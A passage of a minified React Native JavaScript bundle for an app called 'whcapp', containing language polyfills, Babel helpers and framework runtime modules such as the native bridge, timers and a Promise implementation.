self?self:this);\n!function(t){String.prototype.startsWith||(String.prototype.startsWith=function(t){\"use strict\";if(null==this)throw TypeError();var r=String(this),e=arguments.length>1?Number(arguments[1])||0:0,n=Math.min(Math.max(e,0),r.length);return r.indexOf(String(t),e)===n}),String.prototype.endsWith||(String.prototype.endsWith=function(t){\"use strict\";if(null==this)throw TypeError();var r=String(this),e=r.length,n=String(t),i=arguments.length>1?Number(arguments[1])||0:e,o=Math.min(Math.max(i,0),e),h=o-n.length;return!(h<0)&&r.lastIndexOf(n,h)===h}),String.prototype.repeat||(String.prototype.repeat=function(t){\"use strict\";if(null==this)throw TypeError();var r=String(this);if(t=Number(t)||0,t<0||t===1/0)throw RangeError();if(1===t)return r;for(var e=\"\";t;)1&t&&(e+=r),(t>>=1)&&(r+=r);return e}),String.prototype.includes||(String.prototype.includes=function(t,r){\"use strict\";return\"number\"!=typeof r&&(r=0),!(r+t.length>this.length)&&this.indexOf(t,r)!==-1}),String.prototype.codePointAt||(String.prototype.codePointAt=function(t){if(null==this)throw TypeError();var r=String(this),e=r.length,n=t?Number(t):0;if(Number.isNaN(n)&&(n=0),!(n<0||n>=e)){var i,o=r.charCodeAt(n);return o>=55296&&o<=56319&&e>n+1&&(i=r.charCodeAt(n+1),i>=56320&&i<=57343)?1024*(o-55296)+i-56320+65536:o}})}(\"undefined\"!=typeof global?global:\"undefined\"!=typeof self?self:this);\n!function(e){function r(e,r){if(null==this)throw new TypeError(\"Array.prototype.findIndex called on null or undefined\");if(\"function\"!=typeof e)throw new TypeError(\"predicate must be a function\");for(var n=Object(this),t=n.length>>>0,o=0;o<t;o++)if(e.call(r,n[o],o,n))return o;return-1}Array.prototype.findIndex||Object.defineProperty(Array.prototype,\"findIndex\",{enumerable:!1,writable:!0,configurable:!0,value:r}),Array.prototype.find||Object.defineProperty(Array.prototype,\"find\",{enumerable:!1,writable:!0,configurable:!0,value:function(e,n){if(null==this)throw new TypeError(\"Array.prototype.find called on null or undefined\");var t=r.call(this,e,n);return t===-1?void 0:this[t]}}),Array.prototype.includes||Object.defineProperty(Array.prototype,\"includes\",{enumerable:!1,writable:!0,configurable:!0,value:function(e){var r=Object(this),n=parseInt(r.length)||0;if(0===n)return!1;var t,o=parseInt(arguments[1])||0;o>=0?t=o:(t=n+o,t<0&&(t=0));for(var i;t<n;){if(i=r[t],e===i||e!==e&&i!==i)return!0;t++}return!1}})}(\"undefined\"!=typeof global?global:\"undefined\"!=typeof self?self:this);\n!function(n){Array.from||(Array.from=function(n){if(null==n)throw new TypeError(\"Object is null or undefined\");var e,o,t=arguments[1],f=arguments[2],r=this,l=Object(n),i=\"function\"==typeof Symbol&&\"function\"==typeof Symbol?Symbol.iterator:\"@@iterator\",u=\"function\"==typeof t,y=\"function\"==typeof l[i],a=0;if(y){e=\"function\"==typeof r?new r:[];for(var c,p=l[i]();!(c=p.next()).done;)o=c.value,u&&(o=t.call(f,o,a)),e[a]=o,a+=1;return e.length=a,e}var b=l.length;for((isNaN(b)||b<0)&&(b=0),e=\"function\"==typeof r?new r(b):new Array(b);a<b;)o=l[a],u&&(o=t.call(f,o,a)),e[a]=o,a+=1;return e.length=a,e})}(\"undefined\"!=typeof global?global:\"undefined\"!=typeof self?self:this);\n!function(e){!function(){\"use strict\";var e=Object.prototype.hasOwnProperty;\"function\"!=typeof Object.entries&&(Object.entries=function(n){if(null==n)throw new TypeError(\"Object.entries called on non-object\");var t=[];for(var o in n)e.call(n,o)&&t.push([o,n[o]]);return t}),\"function\"!=typeof Object.values&&(Object.values=function(n){if(null==n)throw new TypeError(\"Object.values called on non-object\");var t=[];for(var o in n)e.call(n,o)&&t.push(n[o]);return t})}()}(\"undefined\"!=typeof global?global:\"undefined\"!=typeof self?self:this);\n!function(e){var r=e.babelHelpers={};r.typeof=\"function\"==typeof Symbol&&\"symbol\"==typeof(\"function\"==typeof Symbol?Symbol.iterator:\"@@iterator\")?function(e){return typeof e}:function(e){return e&&\"function\"==typeof Symbol&&e.constructor===Symbol&&e!==(\"function\"==typeof Symbol?Symbol.prototype:\"@@prototype\")?\"symbol\":typeof e},r.createRawReactElement=function(){var e=\"function\"==typeof Symbol&&(\"function\"==typeof Symbol?Symbol.for:\"@@for\")&&(\"function\"==typeof Symbol?Symbol.for:\"@@for\")(\"react.element\")||60103;return function(r,t,n){return{$$typeof:e,type:r,key:t,ref:null,props:n,_owner:null}}}(),r.classCallCheck=function(e,r){if(!(e instanceof r))throw new TypeError(\"Cannot call a class as a function\")},r.createClass=function(){function e(e,r){for(var t=0;t<r.length;t++){var n=r[t];n.enumerable=n.enumerable||!1,n.configurable=!0,\"value\"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(r,t,n){return t&&e(r.prototype,t),n&&e(r,n),r}}(),r.defineEnumerableProperties=function(e,r){for(var t in r){var n=r[t];n.configurable=n.enumerable=!0,\"value\"in n&&(n.writable=!0),Object.defineProperty(e,t,n)}return e},r.defineProperty=function(e,r,t){return r in e?Object.defineProperty(e,r,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[r]=t,e},r._extends=r.extends=Object.assign||function(e){for(var r=1;r<arguments.length;r++){var t=arguments[r];for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])}return e},r.get=function e(r,t,n){null===r&&(r=Function.prototype);var o=Object.getOwnPropertyDescriptor(r,t);if(void 0===o){var i=Object.getPrototypeOf(r);return null===i?void 0:e(i,t,n)}if(\"value\"in o)return o.value;var f=o.get;if(void 0!==f)return f.call(n)},r.inherits=function(e,r){if(\"function\"!=typeof r&&null!==r)throw new TypeError(\"Super expression must either be null or a function, not \"+typeof r);e.prototype=Object.create(r&&r.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),r&&(Object.setPrototypeOf?Object.setPrototypeOf(e,r):e.__proto__=r)},r.interopRequireDefault=function(e){return e&&e.__esModule?e:{default:e}},r.interopRequireWildcard=function(e){if(e&&e.__esModule)return e;var r={};if(null!=e)for(var t in e)Object.prototype.hasOwnProperty.call(e,t)&&(r[t]=e[t]);return r.default=e,r},r.objectWithoutProperties=function(e,r){var t={};for(var n in e)r.indexOf(n)>=0||Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t},r.possibleConstructorReturn=function(e,r){if(!e)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!r||\"object\"!=typeof r&&\"function\"!=typeof r?e:r},r.slicedToArray=function(){function e(e,r){var t=[],n=!0,o=!1,i=void 0;try{for(var f,u=e[\"function\"==typeof Symbol?Symbol.iterator:\"@@iterator\"]();!(n=(f=u.next()).done)&&(t.push(f.value),!r||t.length!==r);n=!0);}catch(e){o=!0,i=e}finally{try{!n&&u.return&&u.return()}finally{if(o)throw i}}return t}return function(r,t){if(Array.isArray(r))return r;if((\"function\"==typeof Symbol?Symbol.iterator:\"@@iterator\")in Object(r))return e(r,t);throw new TypeError(\"Invalid attempt to destructure non-iterable instance\")}}(),r.taggedTemplateLiteral=function(e,r){return Object.freeze(Object.defineProperties(e,{raw:{value:Object.freeze(r)}}))},r.toArray=function(e){return Array.isArray(e)?e:Array.from(e)},r.toConsumableArray=function(e){if(Array.isArray(e)){for(var r=0,t=Array(e.length);r<e.length;r++)t[r]=e[r];return t}return Array.from(e)}}(\"undefined\"!=typeof global?global:\"undefined\"!=typeof self?self:this);\n__d(function(e,r,t,n){var p=r(12),i=r(301),u=babelHelpers.interopRequireDefault(i);p.AppRegistry.registerComponent(\"whcapp\",function(){return u.default})},0);\n__d(function(t,e,n,c){\"use strict\";var o=e(13),r={get AccessibilityInfo(){return e(14)},get ActivityIndicator(){return e(40)},get ART(){return e(158)},get Button(){return e(164)},get CheckBox(){return e(219)},get DatePickerIOS(){return e(220)},get DrawerLayoutAndroid(){return e(221)},get FlatList(){return e(222)},get Image(){return e(203)},get ImageBackground(){return e(235)},get ImageEditor(){return e(237)},get ImageStore(){return e(238)},get KeyboardAvoidingView(){return e(239)},get ListView(){return e(224)},get MaskedViewIOS(){return e(241)},get Modal(){return e(242)},get NavigatorIOS(){return e(245)},get Picker(){return e(247)},get PickerIOS(){return e(248)},get ProgressBarAndroid(){return e(250)},get ProgressViewIOS(){return e(251)},get ScrollView(){return e(205)},get SectionList(){return e(252)},get SegmentedControlIOS(){return e(254)},get Slider(){return e(255)},get SnapshotViewIOS(){return e(256)},get Switch(){return e(257)},get RefreshControl(){return e(229)},get StatusBar(){return e(258)},get SwipeableListView(){return e(259)},get TabBarIOS(){return e(264)},get Text(){return e(165)},get TextInput(){return e(266)},get ToastAndroid(){return e(272)},get ToolbarAndroid(){return e(273)},get Touchable(){return e(166)},get TouchableHighlight(){return e(274)},get TouchableNativeFeedback(){return e(173)},get TouchableOpacity(){return e(174)},get TouchableWithoutFeedback(){return e(217)},get View(){return e(110)},get ViewPagerAndroid(){return e(275)},get VirtualizedList(){return e(230)},get WebView(){return e(276)},get ActionSheetIOS(){return e(277)},get Alert(){return e(96)},get AlertIOS(){return e(97)},get Animated(){return e(175)},get AppRegistry(){return e(278)},get AppState(){return e(284)},get AsyncStorage(){return e(285)},get BackAndroid(){return e(286)},get BackHandler(){return e(283)},get CameraRoll(){return e(287)},get Clipboard(){return e(288)},get DatePickerAndroid(){return e(289)},get DeviceInfo(){return e(147)},get Dimensions(){return e(146)},get Easing(){return e(200)},get findNodeHandle(){return e(44).findNodeHandle},get I18nManager(){return e(244)},get ImagePickerIOS(){return e(290)},get InteractionManager(){return e(183)},get Keyboard(){return e(209)},get LayoutAnimation(){return e(240)},get Linking(){return e(291)},get NativeEventEmitter(){return e(80)},get NetInfo(){return e(292)},get PanResponder(){return e(262)},get PermissionsAndroid(){return e(100)},get PixelRatio(){return e(145)},get PushNotificationIOS(){return e(293)},get Settings(){return e(294)},get Share(){return e(295)},get StatusBarIOS(){return e(296)},get StyleSheet(){return e(144)},get Systrace(){return e(19)},get TimePickerAndroid(){return e(297)},get TVEventHandler(){return e(170)},get UIManager(){return e(63)},get unstable_batchedUpdates(){return e(44).unstable_batchedUpdates},get Vibration(){return e(298)},get VibrationIOS(){return e(299)},get DeviceEventEmitter(){return e(35)},get NativeAppEventEmitter(){return e(104)},get NativeModules(){return e(15)},get Platform(){return e(23)},get processColor(){return e(125)},get requireNativeComponent(){return e(142)},get takeSnapshot(){return e(300)},get ColorPropType(){return e(41)},get EdgeInsetsPropType(){return e(131)},get PointPropType(){return e(206)},get ViewPropTypes(){return e(130)},get Navigator(){o(!1,\"Navigator is deprecated and has been removed from this package. It can now be installed and imported from `react-native-deprecated-custom-components` instead of `react-native`. Learn about alternative navigation solutions at http://facebook.github.io/react-native/docs/navigation.html\")}};n.exports=r},12);\n__d(function(n,e,r,i){\"use strict\";function o(n,e,r,i,o,a,f,s){if(t(e),!n){var u;if(void 0===e)u=new Error(\"Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.\");else{var c=[r,i,o,a,f,s],d=0;u=new Error(e.replace(/%s/g,function(){return c[d++]})),u.name=\"Invariant Violation\"}throw u.framesToPop=1,u}}var t=function(n){};r.exports=o},13);\n__d(function(e,n,i,t){\"use strict\";var c=n(15),r=n(30),s=n(35),o=c.AccessibilityManager,u=\"voiceOverDidChange\",a=\"announcementDidFinish\",v=new Map,d={fetch:function(){return new r(function(e,n){o.getCurrentVoiceOverState(e,n)})},addEventListener:function(e,n){var i;return\"change\"===e?i=s.addListener(u,n):\"announcementFinished\"===e&&(i=s.addListener(a,n)),v.set(n,i),{remove:d.removeEventListener.bind(null,e,n)}},setAccessibilityFocus:function(e){o.setAccessibilityFocus(e)},announceForAccessibility:function(e){o.announceForAccessibility(e)},removeEventListener:function(e,n){var i=v.get(n);i&&(i.remove(),v.delete(n))}};i.exports=d},14);\n__d(function(e,n,t,r){\"use strict\";function o(e,n){if(!e)return null;var t=babelHelpers.slicedToArray(e,5),r=t[0],o=t[1],a=t[2],l=t[3],f=t[4];if(s(!r.startsWith(\"RCT\")&&!r.startsWith(\"RK\"),\"Module name prefixes should've been stripped by the native side but wasn't for \"+r),!o&&!a)return{name:r};var c={};return a&&a.forEach(function(e,t){var r=l&&i(l,t),o=f&&i(f,t);s(!r||!o,\"Cannot have a method that is both async and a sync hook\");var a=r?\"promise\":o?\"sync\":\"async\";c[e]=u(n,t,a)}),babelHelpers.extends(c,o),{name:r,module:c}}function a(n,t){s(e.nativeRequireModuleConfig,\"Can't lazily create module without nativeRequireModuleConfig\");var r=e.nativeRequireModuleConfig(n),a=o(r,t);return a&&a.module}function u(e,n,t){var r=null;return r=\"promise\"===t?function(){for(var t=arguments.length,r=Array(t),o=0;o<t;o++)r[o]=arguments[o];return new Promise(function(t,o){f.enqueueNativeCall(e,n,r,function(e){return t(e)},function(e){return o(l(e))})})}:\"sync\"===t?function(){for(var t=arguments.length,r=Array(t),o=0;o<t;o++)r[o]=arguments[o];return f.callSyncHook(e,n,r)}:function(){for(var t=arguments.length,r=Array(t),o=0;o<t;o++)r[o]=arguments[o];var a=r.length>0?r[r.length-1]:null,u=r.length>1?r[r.length-2]:null,i=\"function\"==typeof a,l=\"function\"==typeof u;l&&s(i,\"Cannot have a non-function arg after a function arg.\");var c=i?a:null,v=l?u:null,d=i+l;r=r.slice(0,r.length-d),f.enqueueNativeCall(e,n,r,v,c)},r.type=t,r}function i(e,n){return e.indexOf(n)!==-1}function l(e){var n=e||{},t=n.message,r=babelHelpers.objectWithoutProperties(n,[\"message\"]),o=new Error(t);return o.framesToPop=1,babelHelpers.extends(o,r)}var f=n(16),s=n(13);e.__fbGenNativeModule=o;var c={};if(e.nativeModuleProxy)c=e.nativeModuleProxy;else{var v=e.__fbBatchedBridgeConfig;s(v,\"__fbBatchedBridgeConfig is not set, cannot invoke native modules\");var d=n(29);(v.remoteModuleConfig||[]).forEach(function(e,n){var t=o(e,n);t&&(t.module?c[t.name]=t.module:d(c,t.name,{get:function(){return a(t.name,n)}}))})}t.exports=c},15);\n__d(function(e,r,t,c){\"use strict\";var i=r(17),n=new i;Object.defineProperty(e,\"__fbBatchedBridge\",{configurable:!0,value:n}),t.exports=n},16);\n__d(function(e,l,t,s){\"use strict\";var u=l(18),a=l(19),i=(l(20),l(13)),n=(l(21),0),_=1,c=0,o=1,h=2,r=5,d=null,v=function(){function t(){var e=this;babelHelpers.classCallCheck(this,t),this.callFunctionReturnFlushedQueue=function(l,t,s){return e.__guard(function(){e.__callFunction(l,t,s)}),e.flushedQueue()},this.callFunctionReturnResultAndFlushedQueue=function(l,t,s){var u=void 0;return e.__guard(function(){u=e.__callFunction(l,t,s)}),[u,e.flushedQueue()]},this.invokeCallbackAndReturnFlushedQueue=function(l,t){return e.__guard(function(){e.__invokeCallback(l,t)}),e.flushedQueue()},this.flushedQueue=function(){e.__guard(function(){e.__callImmediates()});var l=e._queue;return e._queue=[[],[],[],e._callID],l[0].length?l:null},this._lazyCallableModules={},this._queue=[[],[],[],0],this._successCallbacks=[],this._failureCallbacks=[],this._callID=0,this._lastFlush=0,this._eventLoopStartTime=(new Date).getTime()}return babelHelpers.createClass(t,[{key:\"getEventLoopRunningTime\",value:function(){return(new Date).getTime()-this._eventLoopStartTime}},{key:\"registerCallableModule\",value:function(e,l){this._lazyCallableModules[e]=function(){return l}}},{key:\"registerLazyCallableModule\",value:function(e,l){var t=void 0,s=l;this._lazyCallableModules[e]=function(){return s&&(t=s(),s=null),t}}},{key:\"getCallableModule\",value:function(e){var l=this._lazyCallableModules[e];return l?l():null}},{key:\"enqueueNativeCall\",value:function(l,t,s,u,i){(u||i)&&(u&&s.push(this._callID<<1),i&&s.push(this._callID<<1|1),this._successCallbacks[this._callID]=i,this._failureCallbacks[this._callID]=u),this._callID++,this._queue[c].push(l),this._queue[o].push(t),this._queue[h].push(s);var n=(new Date).getTime();if(e.nativeFlushQueueImmediate&&(n-this._lastFlush>=r||0===this._inCall)){var _=this._queue;this._queue=[[],[],[],this._callID],this._lastFlush=n,e.nativeFlushQueueImmediate(_)}a.counterEvent(\"pending_js_to_native_queue\",this._queue[0].length),this.__spy&&this.__spyNativeCall(l,t,s,{failCbId:u?s[s.length-2]:-1,successCbId:i?s[s.length-1]:-1})}},{key:\"callSyncHook\",value:function(l,t,s){var u=e.nativeCallSyncHook(l,t,s);return this.__spy&&this.__spyNativeCall(l,t,s,{isSync:!0,returnValue:u}),u}},{key:\"createDebugLookup\",value:function(e,l,t){}},{key:\"__guard\",value:function(e){this._inCall++;try{e()}catch(e){u.reportFatalError(e)}finally{this._inCall--}}},{key:\"__callImmediates\",value:function(){a.beginEvent(\"JSTimers.callImmediates()\"),d||(d=l(22)),d.callImmediates(),a.endEvent()}},{key:\"__callFunction\",value:function(e,l,t){this._lastFlush=(new Date).getTime(),this._eventLoopStartTime=this._lastFlush,a.beginEvent(e+\".\"+l+\"()\"),this.__spy&&this.__spyJSCall(e,l,t);var s=this.getCallableModule(e);i(!!s,\"Module %s is not a registered callable module (calling %s)\",e,l),i(!!s[l],\"Method %s does not exist on module %s\",l,e);var u=s[l].apply(s,t);return a.endEvent(),u}},{key:\"__invokeCallback\",value:function(e,l){this._lastFlush=(new Date).getTime(),this._eventLoopStartTime=this._lastFlush;var t=e>>>1,s=1&e,u=s?this._successCallbacks[t]:this._failureCallbacks[t];u&&(this._successCallbacks[t]=this._failureCallbacks[t]=null,u.apply(null,l))}},{key:\"__spyJSCall\",value:function(e,l,t,s){this.__spy&&this.__spy(babelHelpers.extends({type:n,isSync:!1,module:e,method:l,failCbId:-1,successCbId:-1,args:t},s))}},{key:\"__spyNativeCall\",value:function(e,l,t,s){var u=this.__spy;if(u){var a=e+\"\",i=l;u(babelHelpers.extends({type:_,isSync:!1,module:a,method:i,failCbId:-1,successCbId:-1,args:t},s))}}}],[{key:\"spy\",value:function(e){e===!0?t.prototype.__spy=function(e){console.log((e.type===n?\"N->JS\":\"JS->N\")+\" : \"+(\"\"+(e.module?e.module+\".\":\"\")+e.method)+(\"(\"+JSON.stringify(e.args)+\")\"))}:e===!1?t.prototype.__spy=null:t.prototype.__spy=e}}]),t}();t.exports=v},17);\n__d(function(r,o,t,i){t.exports=r.ErrorUtils},18);\n__d(function(n,e,t,i){\"use strict\";var c=(e(13),131072),o=!1,a=0,r=!1,u=!1,f={installReactHook:function(n){u=n,r=!0},setEnabled:function(n){o!==n&&(o=n)},isEnabled:function(){return o},beginEvent:function(e,t){o&&(e=\"function\"==typeof e?e():e,n.nativeTraceBeginSection(c,e,t))},endEvent:function(){o&&n.nativeTraceEndSection(c)},beginAsyncEvent:function(e){var t=a;return o&&(a++,e=\"function\"==typeof e?e():e,n.nativeTraceBeginAsyncSection(c,e,t,0)),t},endAsyncEvent:function(e,t){o&&(e=\"function\"==typeof e?e():e,n.nativeTraceEndAsyncSection(c,e,t,0))},counterEvent:function(e,t){o&&(e=\"function\"==typeof e?e():e,n.nativeTraceCounter&&n.nativeTraceCounter(c,e,t))},attachToRelayProfiler:function(n){n.attachProfileHandler(\"*\",function(n){var e=f.beginAsyncEvent(n);return function(){f.endAsyncEvent(n,e)}}),n.attachAggregateHandler(\"*\",function(n,e){f.beginEvent(n),e(),f.endEvent()})},swizzleJSON:function(){f.measureMethods(JSON,\"JSON\",[\"parse\",\"stringify\"])},measureMethods:function(n,e,t){},measure:function(n,e,t){return t}};t.exports=f},19);\n__d(function(t,n,c,i){\"use strict\";function o(t){}c.exports=o},20);\n__d(function(t,n,i,e){\"use strict\";function f(t){var n,i=typeof t;if(void 0===t)n=\"undefined\";else if(null===t)n=\"null\";else if(\"string\"===i)n='\"'+t+'\"';else if(\"function\"===i)try{n=t.toString()}catch(t){n=\"[function unknown]\"}else try{n=JSON.stringify(t)}catch(i){if(\"function\"==typeof t.toString)try{n=t.toString()}catch(t){}}return n||'[\"'+i+'\" failed to stringify]'}i.exports=f},21);\n__d(function(e,t,n,r){\"use strict\";function i(){return v||(v=t(24)),v()}function l(){var e=p.indexOf(null);return e===-1&&(e=p.length),e}function a(e,t){var n=q++,r=l();return p[r]=n,T[r]=e,g[r]=t,n}function o(e,n,r){t(27)(e<=q,\"Tried to call timer with ID %s but no such timer exists.\",e);var l=p.indexOf(e);if(l!==-1){var a=g[l],o=T[l];if(!o||!a)return void console.error(\"No callback found for timerID \"+e);\"setTimeout\"!==a&&\"setImmediate\"!==a&&\"requestAnimationFrame\"!==a&&\"requestIdleCallback\"!==a||c(l);try{\"setTimeout\"===a||\"setInterval\"===a||\"setImmediate\"===a?o():\"requestAnimationFrame\"===a?o(i()):\"requestIdleCallback\"===a?o({timeRemaining:function(){return Math.max(0,h-(i()-n))},didTimeout:!!r}):console.error(\"Tried to call a callback with invalid type: \"+a)}catch(e){y?y.push(e):y=[e]}}}function u(){if(b.length>0){var e=b.slice();b=[];for(var t=0;t<e.length;++t)o(e[t],0)}return b.length>0}function c(e){p[e]=null,T[e]=null,g[e]=null,k[e]=null}function s(e){if(null!=e){var t=p.indexOf(e);if(t!==-1){c(t);var n=g[t];\"setImmediate\"!==n&&\"requestIdleCallback\"!==n&&d.deleteTimer(e)}}}var m=(t(23),t(19),t(13)),f=t(15),d=f.Timing,v=null,h=16.666666666666668,I=1,T=[],g=[],p=[],b=[],w=[],x={},k=[],q=1,y=null,A=!1,C={setTimeout:function(e,t){for(var n=arguments.length,r=Array(n>2?n-2:0),i=2;i<n;i++)r[i-2]=arguments[i];var l=a(function(){return e.apply(void 0,r)},\"setTimeout\");return d.createTimer(l,t||0,Date.now(),!1),l},setInterval:function(e,t){for(var n=arguments.length,r=Array(n>2?n-2:0),i=2;i<n;i++)r[i-2]=arguments[i];var l=a(function(){return e.apply(void 0,r)},\"setInterval\");return d.createTimer(l,t||0,Date.now(),!0),l},setImmediate:function(e){for(var t=arguments.length,n=Array(t>1?t-1:0),r=1;r<t;r++)n[r-1]=arguments[r];var i=a(function(){return e.apply(void 0,n)},\"setImmediate\");return b.push(i),i},requestAnimationFrame:function(e){var t=a(e,\"requestAnimationFrame\");return d.createTimer(t,1,Date.now(),!1),t},requestIdleCallback:function(e,t){0===w.length&&d.setSendIdleEvents(!0);var n=t&&t.timeout,r=a(null!=n?function(t){var n=x[r];return n&&(C.clearTimeout(n),x[r]),e(t)}:e,\"requestIdleCallback\");if(w.push(r),null!=n){var l=C.setTimeout(function(){var e=w.indexOf(r);e>-1&&(w.splice(e,1),o(r,i(),!0)),delete x[r],0===w.length&&d.setSendIdleEvents(!1)},n);x[r]=l}return r},cancelIdleCallback:function(e){s(e);var t=w.indexOf(e);t!==-1&&w.splice(t,1);var n=x[e];n&&(C.clearTimeout(n),delete x[e]),0===w.length&&d.setSendIdleEvents(!1)},clearTimeout:function(e){s(e)},clearInterval:function(e){s(e)},clearImmediate:function(e){s(e);var t=b.indexOf(e);t!==-1&&b.splice(t,1)},cancelAnimationFrame:function(e){s(e)},callTimers:function(e){m(0!==e.length,\"Cannot call `callTimers` with an empty list of IDs.\"),y=null;for(var t=0;t<e.length;t++)o(e[t],0);if(y){var n=y.length;if(n>1)for(var r=1;r<n;r++)C.setTimeout(function(e){throw e}.bind(null,y[r]),0);throw y[0]}},callIdleCallbacks:function(e){if(!(h-(i()-e)<I)){if(y=null,w.length>0){var t=w.slice();w=[];for(var n=0;n<t.length;++n)o(t[n],e)}0===w.length&&d.setSendIdleEvents(!1),y&&y.forEach(function(e){return C.setTimeout(function(){throw e},0)})}},callImmediates:function(){for(y=null;u(););y&&y.forEach(function(e){return C.setTimeout(function(){throw e},0)})},emitTimeDriftWarning:function(e){A||(A=!0,console.warn(e))}};d?n.exports=C:(console.warn(\"Timing native module is not available, can't set timers.\"),n.exports={callImmediates:C.callImmediates,setImmediate:C.setImmediate})},22);\n__d(function(t,n,e,o){\"use strict\";var r=n(15),s={OS:\"ios\",get Version(){var t=r.PlatformConstants;return t&&t.osVersion},get isPad(){var t=r.PlatformConstants;return!!t&&\"pad\"===t.interfaceIdiom},get isTVOS(){var t=r.PlatformConstants;return!!t&&\"tv\"===t.interfaceIdiom},get isTesting(){var t=r.PlatformConstants;return t&&t.isTesting},select:function(t){return\"ios\"in t?t.ios:t.default}};e.exports=s},23);\n__d(function(n,t,o,r){\"use strict\";var u,e=t(25);u=e.now?function(){return e.now()}:function(){return Date.now()},o.exports=u},24);\n__d(function(e,n,r,o){\"use strict\";var w,c=n(26);c.canUseDOM&&(w=window.performance||window.msPerformance||window.webkitPerformance),r.exports=w||{}},25);\n__d(function(e,n,t,o){\"use strict\";var d=!(\"undefined\"==typeof window||!window.document||!window.document.createElement),i={canUseDOM:d,canUseWorkers:\"undefined\"!=typeof Worker,canUseEventListeners:d&&!(!window.addEventListener&&!window.attachEvent),canUseViewport:d&&!!window.screen,isInWorker:!d};t.exports=i},26);\n__d(function(t,r,s,c){\"use strict\";var e=r(28),i=e;s.exports=i},27);\n__d(function(t,n,u,r){\"use strict\";function e(t){return function(){return t}}var s=function(){};s.thatReturns=e,s.thatReturnsFalse=e(!1),s.thatReturnsTrue=e(!0),s.thatReturnsNull=e(null),s.thatReturnsThis=function(){return this},s.thatReturnsArgument=function(t){return t},u.exports=s},28);\n__d(function(e,t,n,r){\"use strict\";function i(e,t,n){function r(){return c||(c=!0,i(u())),b}function i(n){b=n,c=!0,Object.defineProperty(e,t,{value:n,configurable:!0,enumerable:o,writable:a})}var u=n.get,o=n.enumerable!==!1,a=n.writable!==!1,b=void 0,c=!1;Object.defineProperty(e,t,{get:r,set:i,configurable:!0,enumerable:o})}n.exports=i},29);\n__d(function(t,r,s,c){\"use strict\";var e=r(31);s.exports=e},30);\n__d(function(t,n,r,e){\"use strict\";var i=n(32);n(34),i.prototype.finally=function(t){return this.then(t,t)},r.exports=i},31);\n__d(function(n,t,e,r){\"use strict\";function o(n){var t=new f(f._61);return t._65=1,t._55=n,t}var f=t(33);e.exports=f;var i=o(!0),u=o(!1),c=o(null),a=o(void 0),l=o(0),h=o(\"\");f.resolve=function(n){if(n instanceof f)return n;if(null===n)return c;if(void 0===n)return a;if(n===!0)return i;if(n===!1)return u;if(0===n)return l;if(\"\"===n)return h;if(\"object\"==typeof n||\"function\"==typeof n)try{var t=n.then;if(\"function\"==typeof t)return new f(t.bind(n))}catch(n){return new f(function(t,e){e(n)})}return o(n)},f.all=function(n){var t=Array.prototype.slice.call(n);return new f(function(n,e){function r(i,u){if(u&&(\"object\"==typeof u||\"function\"==typeof u)){if(u instanceof f&&u.then===f.prototype.then){for(;3===u._65;)u=u._55;return 1===u._65?r(i,u._55):(2===u._65&&e(u._55),void u.then(function(n){r(i,n)},e))}var c=u.then;if(\"function\"==typeof c){var a=new f(c.bind(u));return void a.then(function(n){r(i,n)},e)}}t[i]=u,0===--o&&n(t)}if(0===t.length)return n([]);for(var o=t.length,i=0;i<t.length;i++)r(i,t[i])})},f.reject=function(n){return new f(function(t,e){e(n)})},f.race=function(n){return new f(function(t,e){n.forEach(function(n){f.resolve(n).then(t,e)})})},f.prototype.catch=function(n){return this.then(null,n)}},32);\n__d(function(n,t,o,i){\"use strict\";function r(){}function e(n){try{return n.then}catch(n){return y=n,m}}function u(n,t){try{return n(t)}catch(n){return y=n,m}}function f(n,t,o){try{n(t,o)}catch(n){return y=n,m}}function c(n){if(\"object\"!=typeof this)throw new TypeError(\"Promises must be constructed via new\");if(\"function\"!=typeof n)throw new TypeError(\"Promise constructor's argument is not a function\");this._40=0,this._65=0,this._55=null,this._72=null,n!==r&&d(n,this)}function _(n,t,o){return new n.constructor(function(i,e){var u=new c(r);u.then(i,e),s(n,new v(t,o,u))})}function s(n,t){for(;3===n._65;)n=n._55;return c._37&&c._37(n),0===n._65?0===n._40?(n._40=1,void(n._72=t)):1===n._40?(n._40=2,void(n._72=[n._72,t])):void n._72.push(t):void l(n,t)}function l(n,t){setImmediate(function(){var o=1===n._65?t.onFulfilled:t.onRejected;if(null===o)return void(1===n._65?h(t.promise,n._55):p(t.promise,n._55));var i=u(o,n._55);i===m?p(t.promise,y):h(t.promise,i)})}function h(n,t){if(t===n)return p(n,new TypeError(\"A promise cannot be resolved with itself.\"));if(t&&(\"object\"==typeof t||\"function\"==typeof t)){var o=e(t);if(o===m)return p(n,y);if(o===n.then&&t instanceof c)return n._65=3,n._55=t,void a(n);if(\"function\"==typeof o)return void d(o.bind(t),n)}n._65=1,n._55=t,a(n)}function p(n,t){n._65=2,n._55=t,c._87&&c._87(n,t),a(n)}function a(n){if(1===n._40&&(s(n,n._72),n._72=null),2===n._40){for(var t=0;t<n._72.length;t++)s(n,n._72[t]);n._72=null}}function v(n,t,o){this.onFulfilled=\"function\"==typeof n?n:null,this.onRejected=\"function\"==typeof t?t:null,this.promise=o}function d(n,t){var o=!1,i=f(n,function(n){o||(o=!0,h(t,n))},function(n){o||(o=!0,p(t,n))});o||i!==m||(o=!0,p(t,y))}var y=null,m={};o.exports=c,c._37=null,c._87=null,c._61=r,c.prototype.then=function(n,t){if(this.constructor!==c)return _(this,n,t);var o=new c(r);return s(this,new v(n,t,o)),o}},33);\n__d(function(t,n,o,e){\"use strict\";var i=n(33);o.exports=i,i.prototype.done=function(t,n){var o=arguments.length?this.then.apply(this,arguments):this;o.then(null,function(t){setTimeout(function(){throw t},0)})}},34);\n__d(function(e,t,r,o){\"use strict\";var s=t(36),l=t(39),i=function(e){function t(){babelHelpers.classCallCheck(this,t);var e=new l,r=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return r.sharedSubscriber=e,r}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"addListener\",value:function(e,r,o){return 